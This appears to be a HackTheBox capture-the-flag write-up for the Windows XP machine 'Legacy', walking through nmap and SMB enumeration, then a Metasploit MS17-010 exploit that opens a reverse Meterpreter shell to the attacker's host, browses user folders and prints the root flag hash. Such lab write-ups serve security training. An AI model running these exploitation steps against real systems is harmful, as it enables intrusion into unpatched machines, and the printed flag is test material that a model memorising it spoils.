


HackTheBox Legacy

Nmap Scan:

Key Findings in the Scan Output:


Looking into ports 139 and 445 (SMB)





Legacy
Windows · Easy

0
Points

★★★★★
4.61844 Reviews


User Rated Difficulty

[Play Machine](#) [Machine Info](#) [Walkthroughs](#) [Reviews](#) [Activity](#) [Changelog](#)

Nmap Scan:

```
(kali㉿kali)~[~/Desktop/HTB/Legacy]
$ sudo nmap -sS -T4 -sC -sV -Pn -p- 10.10.10.4 > nmap.txt

(kali㉿kali)~[~/Desktop/HTB/Legacy]
$ cat nmap.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 22:56 EDT
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 38.12% done; ETC: 22:56 (0:00:16 remaining)
Nmap scan report for 10.10.10.4
Host is up (0.045s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc           Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds   Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ clock-skew: mean: 5d00h57m39s, deviation: 1h24m51s, median: 4d23h57m39s
|_ nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b0:6f:95 (VMware)
|_ smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_ System time: 2024-11-07T06:54:38+02:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.08 seconds
```

```
sudo nmap -sS -T4 -sC -sV -Pn -p- 10.10.10.4 > nmap.txt
```

This command performs a SYN scan (`-sS`), sets a fast scan timing template (`-T4`), enables script scanning (`-sC`), detects service versions (`-sV`), skips ping (`-Pn`), and scans all ports (`-p-`). The output is saved to a file called `nmap.txt`.

Key Findings in the Scan Output:

1. Open Ports:

- **135/tcp** - Running Microsoft Windows RPC.
- **139/tcp** - Running NetBIOS Session Service.
- **445/tcp** - Running Microsoft Directory Service on Windows XP.

2. Service Information:

- The host is identified as running Windows XP based on the CPE (Common Platform Enumeration).
- Hostname is detected as `LEGACY`, with a NetBIOS name of `LEGACY\x00` and a workgroup name of `HTB\x00`.
- The device appears to be a virtual machine hosted on VMware, as indicated by the MAC address prefix.

3. Script Results:

- **SMB Information:** The SMB2 protocol negotiation failed, meaning only SMB1 might be supported, which is an older protocol. This suggests a vulnerability to SMB1-related exploits.
- **SMB Security Mode:** The account used is "guest" with "user" level authentication, and message signing is disabled, which is marked as a security risk.
- **Clock Skew:** The system clock skew information provides an estimated time deviation from the scanning system.

Looking into ports 139 and 445 (SMB)

- SMB is commonly seen as a low-hanging fruit since it can be used to enumerate the internal domain if I can gain access with either a guest or a null authentication account.
- Another thing I noticed was the Outdated version of SMB.

```
|   RPC Session Check on 10.10.10.4   |
|-----|
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[-] Could not establish user session: STATUS_LOGON_FAILURE
[*] Check for random user
[-] Could not establish random user session: STATUS_LOGON_FAILURE
```

- I ran `enum4linux-ng -u Guest` to see what additional information I could get.

```

PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|   State: VULNERABLE
|   IDs: CVE:CVE-2008-4250
|   The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|   Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|   code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|   Disclosure date: 2008-10-23
|   References:
|   https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_ samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

NSE: Script Post-scanning.
Initiating NSE at 23:21
Completed NSE at 23:21, 0.00s elapsed
Initiating NSE at 23:21
Completed NSE at 23:21, 0.00s elapsed
Read data files from: /usr/bin/./share/nmap

```

```
nmap --script vuln -v 10.10.10.4 -p139,445
```

- let's use Metasploit to make this quicker.

```

msf6 > search ms17-010

Matching Modules
=====
#  Name
-  -
0  exploit/windows/smb/ms17_010_eternalblue
1  \_ target: Automatic Target

Disclosure Date  Rank  Check  Description
-----
2017-03-14      average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

```

- I got an issue with the Arch version only supporting x64 so I need to do a specific search in Metasploit to filter by the supported arch of x86 since that is what it target is using.

```
msf0 > search ms17-010 arch:x86

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1  \_ target: Automatic                      .               .      .      .
2  \_ target: PowerShell                    .               .      .      .
3  \_ target: Native upload                  .               .      .      .
4  \_ target: MOF upload                     .               .      .      .
5  \_ AKA: ETERNALSYNERGY                    .               .      .      .
6  \_ AKA: ETERNALROMANCE                    .               .      .      .
7  \_ AKA: ETERNALCHAMPION                    .               .      .      .
8  \_ AKA: ETERNALBLUE                       .               .      .      .
```

- now lets set are LHOST and RHOSTS and run this exploit.

```
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 10.10.14.6:4444
[*] 10.10.10.4:445 - Target OS: Windows 5.1
[*] 10.10.10.4:445 - Filling barrel with fish... done
[*] 10.10.10.4:445 - <-----| Entering Danger Zone |----->
[*] 10.10.10.4:445 - [*] Preparing dynamite...
[*] 10.10.10.4:445 - [*] Trying stick 1 (x86)... Boom!
[*] 10.10.10.4:445 - [+] Successfully Leaked Transaction!
[*] 10.10.10.4:445 - [+] Successfully caught Fish-in-a-barrel
[*] 10.10.10.4:445 - <-----| Leaving Danger Zone |----->
[*] 10.10.10.4:445 - Reading from CONNECTION struct at: 0x860fe240
[*] 10.10.10.4:445 - Built a write-what-where primitive...
[+] 10.10.10.4:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.4:445 - Selecting native target
[*] 10.10.10.4:445 - Uploading payload... fyOMhTnT.exe
[*] 10.10.10.4:445 - Created \fyOMhTnT.exe...
[+] 10.10.10.4:445 - Service started successfully...
[*] Sending stage (176198 bytes) to 10.10.10.4
[*] 10.10.10.4:445 - Deleting \fyOMhTnT.exe...
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.4:1037) at 2024-11-01 23:44:58 -0400

meterpreter > |
```

- type `shell` to drop into an interactive shell.

```

C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\

16/03/2017  07:30  <<                0 AUTOEXEC.BAT
16/03/2017  07:30  <<                0 CONFIG.SYS
16/03/2017  08:07  <<      <DIR>      Documents and Settings
29/12/2017  10:41  <<      <DIR>      Program Files
07/11/2024  07:42  <<      <DIR>      WINDOWS
                2 File(s)                0 bytes
                3 Dir(s)  6.342.107.136 bytes free

C:\>cd "Documents and Settings"
cd "Documents and Settings"

C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings

16/03/2017  08:07  <<      <DIR>      .
16/03/2017  08:07  <<      <DIR>      ..
16/03/2017  08:07  <<      <DIR>      Administrator
16/03/2017  07:29  <<      <DIR>      All Users
16/03/2017  07:33  <<      <DIR>      john
                0 File(s)                0 bytes
                5 Dir(s)  6.342.103.040 bytes free

C:\Documents and Settings>

```

- I wanted to go to the highest directory and try to find a user directory but instead, I found a document and settings directory.
- Let's go into `john` directory.

```
C:\Documents and Settings>cd john
cd john

C:\Documents and Settings\john>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\john


16/03/2017  07:33  <DIR>      .
16/03/2017  07:33  <DIR>      ..
16/03/2017  08:19  <DIR>      Desktop
16/03/2017  07:33  <DIR>      Favorites
16/03/2017  07:33  <DIR>      My Documents
16/03/2017  07:20  <DIR>      Start Menu
               0 File(s)                0 bytes
               6 Dir(s)  6.342.090.752 bytes free

C:\Documents and Settings\john>cd Desktop
cd Desktop

C:\Documents and Settings\john\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\john\Desktop

16/03/2017  08:19  <DIR>      .
16/03/2017  08:19  <DIR>      ..
16/03/2017  08:19  <FILE>      32 user.txt
               1 File(s)                32 bytes
               2 Dir(s)  6.342.090.752 bytes free
```



- found the user flag
- lets use help to figure out how to open the file.

```
REPLACE  Replaces files.
RMDIR    Removes a directory.
SET       Displays, sets, or removes Windows environment variables.
SETLOCAL Begins localization of environment changes in a batch file.
SHIFT     Shifts the position of replaceable parameters in batch files.
SORT      Sorts input.
START     Starts a separate window to run a specified program or command.
SUBST     Associates a path with a drive letter.
TIME      Displays or sets the system time.
TITLE     Sets the window title for a CMD.EXE session.
TREE      Graphically displays the directory structure of a drive or path.
TYPE      Displays the contents of a text file.
VER       Displays the Windows version.
VERIFY    Tells Windows whether to verify that your files are written
          correctly to a disk.
VOL       Displays a disk volume label and serial number.
XCOPY     Copies files and directory trees.

C:\Documents and Settings\john\Desktop>
```

- now lets read from the user flag...
- now lets follow same steps but go into admin directory, and we will get the root flag...


```

C:\Documents and Settings\Administrator>
C:\Documents and Settings\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\Administrator

16/03/2017  08:07  <DIR>      .
16/03/2017  08:07  <DIR>      ..
16/03/2017  08:18  <DIR>      Desktop
16/03/2017  08:07  <DIR>      Favorites
16/03/2017  08:07  <DIR>      My Documents
16/03/2017  07:20  <DIR>      Start Menu
               0 File(s)              0 bytes
               6 Dir(s)  6.342.057.984 bytes free

C:\Documents and Settings\Administrator>cd Desktop
cd Desktop

C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\Administrator\Desktop

16/03/2017  08:18  <DIR>      .
16/03/2017  08:18  <DIR>      ..
16/03/2017  08:18  <DIR>      32 root.txt
               1 File(s)              32 bytes
               2 Dir(s)  6.342.057.984 bytes free

C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
993442d258b0e0ec917cae9e695d5713
C:\Documents and Settings\Administrator\Desktop>

```

